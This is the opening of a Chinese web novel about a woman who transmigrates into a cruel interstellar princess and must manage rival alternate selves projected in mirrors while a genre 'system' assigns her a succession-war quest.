《帝国女皇,从人格分裂开始[星际]》
1. 序幕
银河帝国
第三行省
炼狱星,黄昏,一幢奶白色的古典宫殿在雪原中静默矗立,像块儿糖霜里的奶油蛋糕。
雪原上的风平静地刮过这幢优雅的建筑,然后顺着它身后不远处的一座黑色巨山不断攀升——
不断攀升……
不断攀升……
直到3000米的高空。
在白色的可爱宫殿背后,有着一座堪比人造山的冲天巨塔,这座黑塔粗壮、丑陋,充满需要修补的破损处,好像是加高了几千米版的斗兽场,又或者是等比放大数百倍了的巴别塔。
这里是帝国第三监狱,所有暴徒、异见者和帝国叛徒的噩梦。
此刻正值傍晚,数艘福音飞艇围绕着黑色巨峰的坚壁,在赐福这座被诅咒的不详建筑的同时,高声播放着女皇陛下的教士们亲自录制的训诫圣歌。
破损的喇叭释放出的圣歌声音震耳欲聋,却沙哑失真,听起来像是神明垂死前的呓语,让原本庄严肃穆的氛围变得诡异。
福音飞艇所到之处,往往激起犯人们的哀嚎声,并惊起一片在监狱墙壁外筑巢的鸟。
在黄昏中,一只像是绒球团子的异星鸦鸟就这么被从自己的巢穴中赶了出来,它肥胖的身躯飘过黑色巨塔被侵蚀得破旧不堪的金属外墙,飞越贫瘠寒冷的雪原——最终停落在宫殿二层的窗头。
黄昏,人造黑山的山脚下,皇女的宫殿却华灯初上。
二层的侍者休息室内,几名身着得体西装的侍者正在打牌,顺便闲聊最近皇女行宫的八卦,让房门外的清洁机器人全权打理宫殿内的一切。
“所以,皇女殿下怎么了?”
一个侍者踹了机器人一脚,然后关上门,神神秘秘地问。
“不知道,我听安泊尔大人说,皇女殿下在房间里摆了十二面镜子,然后锁着门两天两夜没出来——没找过男人,也滴酒未沾,每次问需不需要什么就回答不需要……你说,她该不会是快死了吧!”
一个打牌的侍者八卦到。
“一个酒鬼不喝酒自然是要死了。”另一个侍者轻松地打出大牌,“‘女王同花’!”
“呵,她那种人还是死了好。”第三个侍者说,手指轻点桌面示意自己要不起。
“说得有道理,作为第三行省的总督,每天不是喝酒就是找男人纵乐欢愉,这种家伙活着还是死了有什么区别吗?”
“该死,当然有!”最后一名侍者赶紧比了个噤声的手势,“这房间就在皇女殿下的屋子正下方!”
“当然,她还会把人关进帝国监狱。”
最后一个侍者说完,所有人哈哈大笑起来,他们调侃着身后那座黑色巨山的伙食有多差。
所有人中,唯有那个谨言慎行的侍者警惕地看向窗外落着的鸟,生怕那鸟也是生性暴戾的皇女殿下的间谍,因此打开窗户挥手把那怪鸟赶走了。
可怜的、团子似的鸦鸟再次被惊飞。
这次,它懒懒地拍拍翅膀,飞到了正上方的三层窗台上。在鸦鸟的眼中,三层比二层更加华美,像是一颗五颜六色的水晶,它睁大一只恐龙似的红色眼睛,好奇地打量着窗户内的一切。
行宫三层,皇女寝殿。
这是一间装潢兼具古典与未来风格的宽敞寝殿。暗绿色壁纸和暗灰色墙裙将整个寝殿装饰得十分深邃沉静,一盏巨大的磁悬水晶吊灯俯瞰着屋内的暗红色手工地毯。
地毯上满是被打碎的玻璃花瓶、镜子、装饰水晶——可见,一切能反光的东西都被砸碎了。
可暗红色的地毯上偏偏又竖着十二面等身镜子。
十二面镜框华丽浮夸的等身镜和吊灯一样悬浮在屋内,每面镜子像是呼吸一般节律不一地起伏着。
柯茵此刻便站在十二面镜子的内环一侧,六点钟方向,汗湿的手里攥着一把有着阴刻花纹的燧发枪。
她深深吸气,环视十二面镜子,感觉到一种如释重负。
这是她穿越到这个世界的第三天。
经过种种尝试与磨合,她的头脑里终于安静下来了。
真是离奇的一次穿越。
一穿到那个酗酒而死的原主身上,柯茵就感觉到头脑里一阵吵闹。
仔细一听,是无数个自己在大声说话。
哦,人格分裂。
彼时刚刚穿越被吵得脑瓜疼的柯茵想到。
不对?!
人格分裂?!
谁家好人穿越一下从一个人变成八个人啊。
柯茵有些惊讶,坏消息,她头脑里那几个自己也挺惊讶的,甚至有几个人格在她的脑子里惊叫出声,让她本就堪忧的精神稳定度更加雪上加霜。
更坏的消息:
她的人格分裂非常不稳定,除了柯茵以外的那几个自己跟闹鬼似的出现在任何能反光的东西上——洗手间的玻璃上,花瓶的反光里,甚至一杯水的倒影中。
柯茵感觉要疯了。
再这么下去,她要从八个自己有丝分裂成十六个了,再接下来呢?在脑海中复制出一支橄榄球队规模的自己吗?
但柯茵最终还是冷静下来,她找人往自己的寝宫里搬了十二面镜子。(幸好她穿越的是个贵族,原主是有这么多面镜子的……)
最终,在经历了不懈地冥想训练以及冥想训练之间间歇性的发疯之后,她终于成功把人格们全都用意念在自己大脑中分离开了。
现在,她还成功地把所有被分离过的人格用镜子投射了出来。
这样,她终于可以和在头脑里打作一团的人格们冷静地对话了。
柯茵面前的十二面镜子每个都有一两米高,略微倾斜着,按照均等的距离排布在室内。
对目前十二面镜子和镜子中的人格,柯茵按照时钟的钟点方位记录了编号,方便自己区分。
她现在站在6点钟方向的镜子前,背后则是代表她本体的6号镜子。
在她2点钟方向的2号镜中,有团诡异的、仿佛有生命一般蠕动着的灰雾。
柯茵尚不知道那是什么。
在1点、5点、7点、11点钟方向的镜子则呈现出死寂一般的黑色。
这个柯茵明白,1、5、7、11号镜子都曾经有过她成功投射出的人格,但因为那些人格在她的脑中存在的时间太短、力量太弱,她实在抓不住她们,因此她们的镜子转为黑色,长久沉寂。
最后,3点、4点、6点、9点、10点、12点六个方向,则是柯茵投射成功的六面镜子,其中分别有六个不同的她。这六个人格的状态稳定而持久,可以和柯茵理性对话。
这些柯茵每个都仿佛来自她们所属的小说一般,装束各异。
经过先前简单的交流,柯茵发现她们和自己一样,脑海中除了共有穿越前的记忆,其他记忆各不相同,都只包括自己书里的内容。
像是来自六个平行世界的她。
比如,无限流的柯茵只记得自己穿越到无限流小说里,对剩下的内容一无所知。而末世文的柯茵就知道自己在末世用能力乱杀,其他也不记得了。
因此,柯茵判断这六个她呈现出和她自己全然不同的性格、谈吐和穿着就也很合理。
毕竟,穿书像是度过了一次漫长的人生,柯茵自己上次穿越的时候就有这种感觉。而经验或多或少会塑造人的性格,因此,拥有不同人生记忆的她自己性格有所不同也很正常。
至于为什么这次穿越会搞出来这么多她?
柯茵猜测,大概率是因为她穿越到了一个原本就有人格分裂的原主身上。因为是魂穿,所以根据柯茵自己的记忆,原主有损伤的大脑创造出了数个不同的人格。
“你的猜测很科学,毕竟‘脑是意识的物质载体’。”
柯茵看向传来声音的那面镜子,3点钟方向。
3号镜子里也是一个柯茵——
那个柯茵穿普通帽衫,戴圆框眼镜,头发乱扎一气,黑眼圈深重,佝偻一点身子,手里转着一串钥匙,划愣划愣作响。
说话的是无限流柯茵。
除了数字外,柯茵给除了自己以外的每个柯茵都用她们穿书的类型起了代称,方便记忆她们的特征。
3号镜中的无限流柯茵得意地接着念叨着:
“‘物质是第一性’,居然在穿越小说里也是这样的!”
“好了,知道你那本小说的开头是考研失败,别念了。”
可能是因为从无限流柯茵身上感觉到一丝日常的熟悉,柯茵毫不留情地吐槽起那个无限流版本的自己,后者则被激到,默不作声地攥紧了手里的钥匙串。
“考研失败?那是原主……!”无限流柯茵嘀咕。
“那你穿过去之后就上岸了?”柯茵回嘴。
“那倒也没有……”无限流柯茵瘪瘪嘴接着找补,手里的钥匙钩在食指上转,响得让人心烦,“那这么说,你有上岸经验?你穿得是科举文呗。”
“那倒也不是……”柯茵回答,感觉自己的脸一下有点热,也不知道是为什么。
“那你的皇位是怎么来的?”无限流柯茵推了推眼睛,眼里闪过一丝狡黠地光芒,对着柯茵(自己)穷追猛打。
“起兵造反……”柯茵僵着脸地回答。
“我去,失敬失敬。”
无限流柯茵说着,柯茵看向她和自己一模一样的深棕色眼睛,感觉到一丝奇怪的感觉。
柯茵虽然理智上清楚这些家伙都是自己,但情感上总是产生一种她们是来自平行世界的陌生感,就像是和不同的人对话。
“各位老师,请说正题,容我提醒一下这场‘对齐人格颗粒度会议’马上就要结束了,系统即将发布任务。”
柯茵转过身,直视无限流柯茵正对面,9点钟方向的都市文柯茵。
9号镜中都市文柯茵OL装扮穿白色西装,手里抱着文件夹,满口互联网黑话,不管看起来还是听起来都Pro极了。
“虽然不知道会议有没有总结陈词,但我想最后强调一点,我们都是柯茵,没什么不同的,我们是最了解和尊重彼此的人,所以——”
这次说话的是12点钟方向镜子里的向哨文里的柯茵,她看起来比其他柯茵年纪大上不少,其它柯茵都二十来岁的模样,但向哨文柯茵则看起来有40-50岁,严肃持重。
向哨文里的柯茵一副军官做派,站得笔直,手里还抱着一团黑色头盔大小的东西。
她穿着战术小队的全套装备,夜视,防弹衣,一身肃杀的黑色作战服朴素低调,唯有脸上地一道贯穿疤和胸前的数枚勋章最为亮眼。
“我建议所有柯茵都达成一项共识——”
“呸……伪君子,谁和你共识。”
向导还没说完,4点钟方向的末世文柯茵吐出子弹,看着她哂笑。她是唯一个坐在地上的柯茵,其他人都和柯茵基本一样保持着站立的姿态,只有她最特立独行——坐在地上用军刀给子弹壳上刻字。
虽然末世文柯茵也穿着作战服,但明显比向导身上那套破烂许多,大部分装备都是东拼西凑的,就像她整个人的谈吐一样不修边幅:
“你说得对,我们都是柯茵,所以我比你更知道你脑子里在想什么。”
“共识,然后呢?这么想推进议程,我看你是想篡位成为主人格吧,向导。”
末世文柯茵口中的主人格就是柯茵。
她是诸多人格中唯一可以长期占据原主身体的,也是她们中拥有最新鲜记忆的个体。又因为她刚刚穿越完一本权谋,而这本星际文也是帝制,所以她是所有人格中最毫无非议适合推进本书剧情的主人格。
作为主人格的柯茵刚穿完一本权谋,她于大灾之年带领村民们科学种田+攀科技树屯田自固,随后起兵造反,与朽而不倒的迂腐朝廷对峙二十余年,外弼时难,内修奸宄,在大陆上纵横联合,终成一代帝王,因此所以别的人格都略带尊重地管她叫“陛下”
“看她脸上的疤就知道她野心不小。我百分之一千地保证
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她想取而代之,‘陛下’。”
末世文柯茵说罢,忽然抬头从镜中看向柯茵。
“哦?诚实点,难道不是我们每个人格都想成为主人格吗?”
“但我不得不承认,以貌取人非常愚蠢。”
无限流柯茵一把攥住了自己转着的钥匙圈,也同样玩味地看向站在镜子外的柯茵本体。
“我就是害怕这种情况发生……最重要的是共识。”
年长的向哨文柯茵挑眉,一副“早猜到了”的表情冰冷地总结。
她说着,那倒贯穿面部的伤疤逐渐深邃骇人起来,她一直直视6点钟柯茵的方向,视线从未动摇过:
“如果有些人格太过幼稚愚蠢,那我的建议就会变为‘清理’。”
“内个……嘿、嘿。”
局势逐渐紧张之际,一个温和地声音打断所有人。
柯茵看向10点钟方向,10号镜中站着一个穿着校服带运动耳机的柯茵。
“说到共识,我们能不能达成一个回家的共识,”校园柯茵看所有人的目光都集中到她身上,有些弱弱地放低音量接着说,“我有点想回家,妈妈还在家等我吃饭呢。”
无限流柯茵听了她的话,耸耸肩,接着转钥匙。
末世文柯茵咬紧下唇,不知道如何作答。
而向导柯茵的眼神坚定,同样不发一语。
就连都市文的柯茵都用文件夹遮住了嘴,防止自己说出什么不得了的东西。
觉察氛围不太对,小柯茵赶紧补充了半句。
“今天吃扁豆焖面,你们还记得吗?”
“记得呀。”柯茵回答,她微笑,温和地承诺那个年轻的自己,“我们会想办法回家的。”
剩下所有人都看向真正有实体的主人格柯茵,目光里带着“这话你都敢说”的疑惑和不满。
柯茵走到校园版的自己镜前,后者好奇地向她伸出手,但随即被电了一下。
“哇哦,原来我长大之后这么厉害啊……!”
校园柯茵看着柯茵的样子,甩甩被电疼的手,笑着说。
“所以,我们要怎么回家啊?”
“很简单,做完穿越系统给我们的任务,我们就能回家了。”
柯茵说完,所有镜中柯茵的目光再次射向10点钟方向,10号镜和柯茵所在的位置。
“原来如此……!虽然我不像你们一样厉害,但我有什么能帮上的忙吗?”
“当然。”
柯茵说着,在校园柯茵没注意到的地方迅速用手中的燧发枪瞄准她镜子的边角,扣动扳机。
样式古老的燧发枪随即射出一束蓝色的等离子电浆,瞬间击碎了校园柯茵身处的镜子,后者甚至没意识到发生了什么。
“你可以帮我做个好梦。”
柯茵说完,面冲剩下几个人格,而剩下几个柯茵都平静地预料到了这一切的发生,并没有太惊讶。
“你知道我们回不了家,对吧。”
一片沉默中,向导柯茵首先倨傲地开口,话音里充满沉重期待。
“我知道,所以我不想让那个孩子知道。”
柯茵伸出左手,轻轻触摸自己面前虽然碎裂但仍然处于浮空状态的镜面碎片,碎片背后,还有一些被瞬间熔化但没有蒸发掉的液态水银悬浮着,格外危险。
“我建议所有人对她保守这个秘密,当然,你们也没机会泄密,我不会再让她醒过来了。”
“我相信各位已经注意到了,我已经掌握了让你们沉睡和苏醒的办法,所以……”
柯茵回答之后抬起右手,头也不回地朝着12点钟方向开槍打碎了向导的镜子。
“嘿!等等!从理论上来讲,我们有回去的机会,系统说,只要完成全部的任务就行!”
这次说话的是都市文柯茵,她严谨地翻着文件夹上的表单,带着一点疯狂的兴奋说道:
“我已经完成了187734个任务!”
柯茵叹了口气,摇头,顺便把她的镜子也打碎了。
于是房间里刨除掉没有投射成功的5面镜子,就剩下4面人格映射镜子:
柯茵自己的,那面涌动着灰雾的,以及3号和4号。
末世文柯茵和无限流柯茵。
“那个上班的,她一定疯了。”
3号镜中的末世文柯茵说着,把自己刻好名字的弹头一个一个按进左轮手枪。
“题外话,你手里那把燧发枪不错,簧轮式还是撞击式?”
“激光式……”柯茵不懂槍,用还滚烫着的槍口挠了挠头,并打断了末世柯茵的“我来教教你”时刻,继续开口:
“现在只有我们三个,所以我就直说了,我已经收到了系统的任务。”
“而除了主人格,我还可以选一个人格跟我一起完成副本任务。”
其实系统还描述了,作为副人格参与任务会非常痛苦,像是全程被绑在电影院的椅子上,距离极近地观看巨幕第一人称电影,会导致极大的不适感。
但这一点,柯茵自然是不会告诉自己的副人格们的。
“所以,现在是二选一环节?”
末世文柯茵兴奋地回答,积极地争取着下本的机会,眼里闪过一丝嗜血的光芒。
“说一点可以说的,我的金手指是武器精通,所有武器不管冷热兵器,只要轻轻摸一下,我就能了解它们的结构,悉知它们的使用方法——来吧,选我吧,你会用得到我的。”
“让我们大开杀戒!”
“太强了。”
柯茵转身,看向末世文柯茵,真挚地开了一枪,轻声说。
“所以一会儿见。”
“嗯……”无限流柯茵又转起钥匙,没有一点被选择的喜悦,反而攥着自己的下巴思考起来,“我想,系统应该还告诉了你一些别的规则,但你没告诉我们,对吗?”
柯茵警惕地看向无限流版本的自己。
该死,这家伙真精啊,不愧是自己……
2. 疯子和疯子们(1)
“我想,系统应该还告诉了一些你别的规则,但你没告诉我们,对吗?”
柯茵没直接回答自己的问题,而是曲折地避开锋芒,说:
“如果你喜欢睡觉的话,我也可以让你和她们一样。”
“啧……”无限流柯茵笑容消失,显然很不满这种被人掣肘的感觉。
3号镜中的柯茵从帽衫的兜里取出一张细长的卡牌,两支夹着,展示给本体柯茵看。
纤细的卡牌上,有着精致准确的油画画面,一个提灯老妪矗立于一条向下的昏暗通道中。
“隐者*?”柯茵问。
“bingo,原来我不用‘特训’智商也还可以嗷。”
“这是干嘛的?”
虽然柯茵认出了3号镜子中无限流的自己手中的是一张塔罗牌,但她却并不知道那张塔罗牌的用途。
“你问我我上哪儿知道去,系统不是只和你说话吗?‘陛下’。”无限流柯茵阴阳完,把卡牌揣进兜里,比了一个噤声的手势,“但我猜是很重要的道具……无限流里都这样,身份牌嘛,最好藏到最后,别让人发现。”
“那为什么要给我看?”
“原因你不明白吗?”无限流柯茵抬颔,脸上再没有之前的轻松,反而用一种和向导柯茵一样冰冷地表情看向她,“你现在才是所有人格的主导。”
“为了‘通关’,你还真是不择手段。”柯茵幸灾乐祸地评价,“幸好我穿得不是无限流啊……”
“这叫合作,其它家伙不会懂的,对吗,知己~”
“不一定。”柯茵沉重地叹气,作为交换,她也打算透露一个信息给无限流柯茵,就当是以示诚意。
“其实一次副本可以携带两个人格,但是每次只能同时唤醒以及投射一个人格,因此,我选了你和你和4号。你是优先翼,她是劣后翼,这是系统的规则。”
“劣后翼,优先翼……有趣,听着像是阵法。”
“没错。”柯茵给镜中的自己解释着。
“这个就是这本星际小说里太空舰队的一种战法,优先翼编制单位会在作战中率先入场,先诱敌深入,和敌人狗斗*,但也会先承受损失与代价。”
“劣后翼编制单位随后入场,包围并吃掉球状的敌人。”
“你看过虎鲸或者是海豚对付鱼群吗?优先翼就是驱赶鱼群的家伙……”
“劣后翼负责张嘴大快朵颐。”无限流柯茵点头,表示她明白,“你看材料也挺快,应该不在那个工作狂之下吧。”
“所以,我是你的优先翼?”
“没错。”
“有趣,那你要怎么投射我们?只用镜子就可以了吗?还是要消耗什么?”
无限流柯茵兴奋地挖掘着更多的信息,显然忘了她们之前的约定。
“那是另外的价钱。”柯茵笑,“不过以你的脑子,应该等我一会儿拉你出来的时候就知道了。”
无限流柯茵有些失望,好像是不停问为什么但被妈妈说闭嘴的小孩。她眯了眯眼睛,失望转化为不满,用衣角擦着自己的眼镜。
“有必要吗?你就一直带着我不香吗?好吧……随你吧,反正我现在也没有议价的资本,对吗?”
“谁说不是呢。”
柯茵说完,笑着抬起枪,举向3号镜中的自己,后者也笑着模仿着她的镜像动作,像是一个真正的影子。
像是挑衅。
“哦对,被你强行沉睡会疼吗?”无限流柯茵抱着手问。
“不知道。”柯茵回答,耸肩,“毕竟我没试过,真想试试啊……可惜没这个机会。”
“**,你真混蛋。”
“彼此彼此。”
柯茵说完,一声枪响,目前屋子里剩下的所有镜面全部都恢复正常,变成柯茵在这本书里的样子。
柯茵传来的这个皇女一头后恣肆的红发,但却皮肤苍白,身体瘦削,像是卧床已久的病患,一具活尸。
她身着一袭由流质金属与织物相互编织的礼服,看起来像是被压扁的水母或者一颗银色的圣诞树。而礼服则是货真价实的星际科技,它被许多柔软的金属条带装饰,那些金属条带会根据她的体温自动调节温度。
结束了所有的投射后,柯茵一下跪倒在地面上,胃里的酸水一下涌上来,差点当场吐出来。
其实她方才的镇定自若只是强撑。
从穿越过来之后,柯茵就一直感到强烈的身体不适,但她不能把自己的虚弱,把自己灵魂和躯体这种不兼容的状况展现在自己其他的人格面前。
毕竟,柯茵最清楚自己是怎样的野心家……!
那些人格和她一样,都是从那个名为柯茵的壳子里面生长出来的,不管经历如何塑造他们,她们的劣根性是一样的——多疑、好斗、极端。
所以,面对系统提出,每次副本需要携带两个人格,一次可以映射一个的时候,柯茵第一反应是拒绝。
如果让不适合的人格得知了她的虚弱,很难不保证他们不会像是鬣狗一样张开血盆大口把她这个主人格拉下主导地位。而且柯茵很清楚自己的做事风格,如果她是想要篡位的人格,她一定会保证前任主人格神识俱灭!
但似乎是为了保证任务的棘手程度一样,系统执意如此。
所以柯茵只能从那几个家伙中挑两个最“忠诚”的带上:
3号,无限流,那个柯茵虽然精明,但更多的是理智,而且无限流多是合作游戏,她应该已经习惯了和自己这样的狡诈的家伙合作。从刚刚3号的表现来看,柯茵的确没选错。
4号,末世文,末世文柯茵看似狂躁,但她有着一种极为朴素的生存本能,比如她对于向导的判断,柯茵认为就很合理。而且末世文柯茵对她的态度最为尊崇,是所有人中接受她作为主人格的领导最自然的。在加上柯茵上一本穿得是古代架空,她确实……不会使用很多星际时代的武器,有末世文柯茵的金手指,她完成任务的几率才能高一点。
至于剩下的人格……
10号还是个孩子,所以柯茵自然先把她沉睡了,12号向导看起来最老道,但说实话,柯茵不信任她,她确定自己能不能斗得过四五十岁的自己,所以也让她赶紧睡了。
至于7号社畜,柯茵推测她应该是自己的早期的穿越记忆,因为很显然,除了她,剩下的柯茵都知道回家的希望微乎其微,而她却疯子似的做了一万多个任务!
这证明她对系统的言而无信和狡诈一无所知,又或者是,她已经因为希望渺茫而崩溃陷入疯狂了……
但无论是那种情况,以她的精神稳定程度,如果让她来执剑,系统说不好就会趁虚而入,她们这辈子就别想回家了。
说谁谁到。
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>就在柯茵克服体内的不适感顺便复盘的时候,从她的身体里升起一张全息卡牌,卡面为空,旋转着放大并升至空中,伴随着柯茵熟悉到不能再熟悉的系统声音:
『尊敬的宿主,很荣幸地宣布任务正式开始!欢迎您作为帝国继承人降临银河帝国!』
『在这本小说中,您将作为帝国年纪最小的八皇女逐鹿星海』
『帝国自建立以来便奉行弑亲继承法。每逢皇权更替,姐妹相残,只有唯一的胜者方可君临群星!』
『而您本次穿越的目的便是赢得残酷的继嗣战争,成为银河帝国的女皇,带领帝国走向长治久安!』
“知道了……给我看看牌吧。”
『没问题。』
系统答应完,金色的全息塔罗牌便快速地旋转起来,几束激光似的光线在上面雕刻着纹理,最终,全息卡牌缓缓停下。
柯茵发现自己的卡牌上竟然雕刻出的是类似前苏海报式风格的画面。
卡牌上,一个造型硬朗的女人化为赤红的人形火箭,张开双臂,直凌云霄,抵达画幅顶部边缘,女人拖着和她一样赤红的彗星尾迹,那尾迹伴随其在画面位置的降低逐渐变为纯白,好似刻画了一席亮堂的黎明,而在画面其他地方则是大面积的纯黑,在黑暗中,有则是隐约不可见的大小群星。
“女皇*……”
柯茵轻声念叨着。虽然这张卡牌和3号柯茵手中那张透视精确的隐者有着全然不同的画风,采用了硬朗的大色块和抽象的图形,充满至上主义和构成主义的严厉。
但柯茵还是一下从情绪上认出了这张牌,女皇。
只不过,她还不知道这张牌是做什么用的。
“这个东西有什么用。”
『尚不清楚。』
系统喜庆的话音变得冷淡。
“……”
柯茵沉默,看来3号没有骗她,系统没告诉她或她们这东西是什么。
『再次欢迎您作为帝国继承人降临银河帝国!在正式开始剧情之前,您还有什么想问的吗?系统知无不言。』
柯茵不知道她的同僚们是否有着同样的习惯,但她每次开始任务之前都会问同样的问题,即使知道自己也会从系统那里获得同样的答案。
“我怎样才能回家。”
『宿主完成全部任务即可返回现实世界~!』
“那还有多少任务?”
『宿主无法访问此信息。』
“……”
柯茵本来也没对这问题报什么希望,但这种询问还是成为了她的一种习惯,就像是但凡有理智的人都知道买彩票中奖的概率约等于0,但身陷贫困的时候,还是忍不住自己的赌徒心理,最终,那种赌性就渐渐变成了一种仪式性的迷信,像是有人烧香、有人祈祷——
有人惯于和命运赌博。
柯茵感觉自己的指尖有一些冰冷,她能闻到上面的土腥味——那是她帮做饭的老爹剥豆角丝之后会留下的气味。
虽然知道做了任务就能回家的几率无限接近于0,但如果不试一试的话,回家的概率一定为0。
于是柯茵整理了一下自己的思绪,在脑海中对系统说:
“让剧情开始吧。”
她话音方落,宫殿外便响起了一串急促的敲门声。
“八皇女殿下,请您开门!有紧急情况!”
3. 疯子和疯子们(2)
前往监狱时,已经是深夜,因为气温降低,天空中满是阴云,并下起小雪。
坐在飞艇上,柯茵得以有机会俯瞰帝国第三监狱。
从外面看,监狱是一座粗壮的深黑色巨塔,像是无限放大的热电站高炉,面积……非常非常大。因为柯茵对于高度对于建筑的比例缩放没有感知,所以她隐约猜测整个监狱高度有两三千米,而直径最起码有个小型公寓群贯穿南北门那么大。
在监狱面前,她所乘坐的飞艇像是一只小小的飞蝇。
稍微离近一点就能发现,帝国第三监狱是座可怖的钢巢,它宏伟的外墙全由黑色、歪扭、看起来随时承重崩塌的钢梁承担起重量。
此时,因为下雪,整个第三监狱的外墙都被新雪洗刷成明亮的黑色,有种诡异的崭新感。
柯茵审视着这座庞然大物,不禁为其规模所震撼。这里不仅是监狱,更像是一座独立的城市,一个关押着数以百万计囚犯的巨型熔炉。
“皇女殿下,您还好吗?”
看柯茵观察监狱得有些出神,坐在柯茵对面的是一位灰发女人,出言询问到。
女人已过中年,脊背笔直、话音沉稳,素色长裙用料考究,却刻意避开任何显眼的装饰——比如柯茵衣服上的那种银色的金属条带。
柯茵来到这个世界也有两三天,因此借助原主的记忆回忆人还是能回以得七七八八。
坐在飞艇轿厢对面的灰发女人是皇庭近侍安泊尔。
“我很好,安泊尔。”
柯茵简单地回答,看向原主的这位皇庭近侍,参照这她头脑中的政治体系大致和星际时代的官职进行着对比:
皇庭近侍,类似于皇女的师长兼幕僚,但地位相较传统的帝师低上不少——
或许因为皇庭近侍一般是从皇女的贴身侍女中选中的,又或者是因为这个职位只提供一些简单的非政治性的行事见解。
但这位名叫安泊尔的皇庭近侍的情况却不太一样。
柯茵根据原主的记忆发现,安泊尔自小跟随原主,原主对她有着格外的依恋,因此此人也在原主府上有着格外的地位。
方才,所有人都不敢打扰皇女的情况下,就是她亲自来通知柯茵情况紧急,她必须前往帝国第三监狱的,因此可见二人君臣主仆关系之近。
“皇女殿下,我们即将准备进入监狱内部,一会儿光可能会有些晃眼——”
安泊尔说完,想要帮皇女拉上帘子。
但柯茵抬手,打断了她。
“降落的过程中,我想看看监狱的样子。”
安泊尔微笑着说:
“您继任监狱长这半年来天天都来,难道还看不腻吗?”
柯茵没做过多的解释,点头。
虽然原主天天看,但今天却是柯茵来到这个世界以来第一次走出自己的寝宫。
她需要对一切进行观察。
星际时代的建筑、交通工具、官职、美学风格……一切都是崭新的,和她之前穿越地那个世界截然不同。她不应该放过每一个观察世界的机会——尤其是这座名义上属于她的帝国第三监狱。
伴随着飞艇的姿态倾斜,柯茵恰可以从帝国监狱的正上方看到其全貌。
整个帝国监狱中空,如同一座巨大的黢黑死火山,居高临下望去时能直直看到内部的工厂。
这座“火山”的山体部分、监狱的环形高墙便是的关押犯人的地方监牢,而在火山口的地方、监狱的内部,则矗立着巨大的、几乎和监狱墙壁等高的纵式工厂。
在整个帝国第三监狱的最高处,环形的火山口似的圆形边缘上,架设者几百台高功率的探照灯,每个探照灯之下便是一座塔碉,监视内外的每一寸土地和天空。探照灯的柱状光芒扫向天空,穿透层云,防止在气象条件不好的情况下从空中降下的敌人。
柯茵为了观察工厂坐近了一点窗边,果然先被监狱24小时全方位照明的探照灯晃了眼睛。
安泊尔见她晃了眼睛,母亲一般微笑,欲言又止。
但探照灯的光芒很快过去,飞艇也很快铆降在某个塔型碉堡的钳形勾爪上。
降落时,柯茵俯瞰停机坪,下面列队的监狱巡察们穿着深黑色制服。飞艇被锁链牵引降落时的微弱气流卷着帝国监狱高处因为海拔过高而连年不绝的小雪,吹拂着两队巡察,让他们看起来像是覆满糖霜的锡兵。
待飞艇挺稳,监狱巡查长一把拉开飞艇门,礼貌地压了压帽檐,用首都星圈的标准帝国语欢迎柯茵。
“皇女殿下,帝国第三监狱已经等候您多时。”
柯茵在安泊尔的搀扶下走下飞艇,在她的身后,机械侍者从飞艇中搬出一面该着红布的等身镜,在它机械手指的设定下,镜子仿佛有生命一般悬浮跟在柯茵的身后。
在阴沉的天空下,柯茵在纷纷扬扬的小雪中向负责接应她的巡察们简单致意,然后在这些巡察们前呼后拥中坐上了前往监狱“地基层”的破旧电梯。
帝国第三监狱的一切都和皇女的宫殿截然相反,这里简陋而粗野,满是机油和血的腥味。
大约二十分钟左右,高速电梯在监狱地基层停下,电梯门骤然打开,一股静止的寒意扑面而来。
监狱的地基层温度比高空还要低,空气中弥漫着某种难以名状的腐朽气息。
安泊尔和监狱巡查们带队走在前面,柯茵跟在他们身后,他们的脚步声迅速在走廊里激起回响。
走廊幽深,两侧是由黑色合金打造的牢房,顶部,老旧的矿灯排成一列,发出令人不适的惨白光芒。偶尔有犯人凑近力场护栏,咒骂监狱巡查亦或是凯瑟尔家族,但却在看到柯茵锐利眼神的瞬间迅速退缩回了监狱的角落——
看来,即便是亡命徒也知道原主的名声。
很好,柯茵想,这给她的工作降低了很多难度。
随着他们深入,空气变得愈发粘稠,与方才监牢的喧嚣相比,这里也开始显得安静起来。只有零星的脚步声和铁链的碰撞声在空旷的走廊里回荡,让人不由自主地屏住呼吸。
柯茵能感觉到,走廊深处藏着比上面那些囚犯更危险的存在。
最终在道路的尽头,一扇大得惊人的铁门阻断了一切。
那铁门有十来米高,上满是复杂的金属装置。
巡查长上前轻触老式启动器开门。随后铁门上的齿轮和压杆沉重地转动、发出可怖的嘶鸣,而侧面的钢筒中冒出阵阵浓烟。
铁门沉重
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而缓慢地打开——
门内空间高挑宽阔比铁门本身更甚,像是一座巨大的地下殿堂,和之前逼仄的监狱格局格格不入。
伴随着视线的上升,柯茵发现自己居然看不到门内空间的顶部,只能看到从高不见顶的空间内悬下几座的巨大鲸鱼骨架,每具森然白骨光是宽就有上百米——穿越前,她只在自然博物馆见到过这么大东西。
此刻它们正在门内高挑的天顶上错落排布,像是漂浮深空的古怪舰队。
在鲸骨之下,有一条算不上长的廊桥通向不远处的黑暗之中。
所以……这是什么地方?
似乎是为了解释她的疑问,系统在她的眼前投出几个立体的白色字符,虽然字符全都不是中文,但柯茵却能毫无障碍地辨认:
『第一章:皇女收藏室』
『欢迎进入第一章剧情,皇女阁下,下面为您进行任务简报:』
银白色的、仿佛有实体一般的系统字幕陡然在柯茵眼前升起,伴随着她的阅读速度上升,并隐没在视线之外:
『您所扮演的是本书中的帝国第八皇女,第三行省总督,同时也是帝国第三监狱的监狱长。』
『八皇女行事风格残酷骇人,滥杀成性,还有过量饮酒的问题。』
『在故事开始时,她意图将自己行省之下最大家族——凯瑟尔家族的小儿子纳为侧室。』
『但她没想到,凯瑟尔家族居然为她送来了一个冒名顶替的奴隶。』
『原书中的八皇女勃然大怒,下令残酷地虐待了那个奴隶。而侥幸逃过一劫的奴隶,却在原书女主三皇女的麾下得到重用,成长为帝国战帅,成为了三皇女横扫星际的利刃…。』
『克劳狄血洗了一个又一个仇家,替他的主人消灭了数不清的政敌,成为帝国最让人闻风丧胆的刽子手。』
『而您所扮演的八皇女便死于这个奴隶刀下,成为这场继嗣争夺中第一个出局的皇位继承人。』
『此刻,克劳狄正被关在您的这间特别监狱中,他的性命正等待您的定夺……。』
在刚刚穿越的时候,柯茵就已经了解过一遍这本书的简要剧情了,所以系统的简报并不让她陌生。
简单来说,她在这本书中的角色是欺凌过男主的女配,后为自己的行为付出了代价。
这个剧情乍听起来很简单,柯茵挑眉想到,按照一般的穿书经验发展,她作为配角,要做的就是改变故事线,让自己免于一死。
但柯茵十分了解自己的系统,它不会让自己那么轻易地完成任务的。
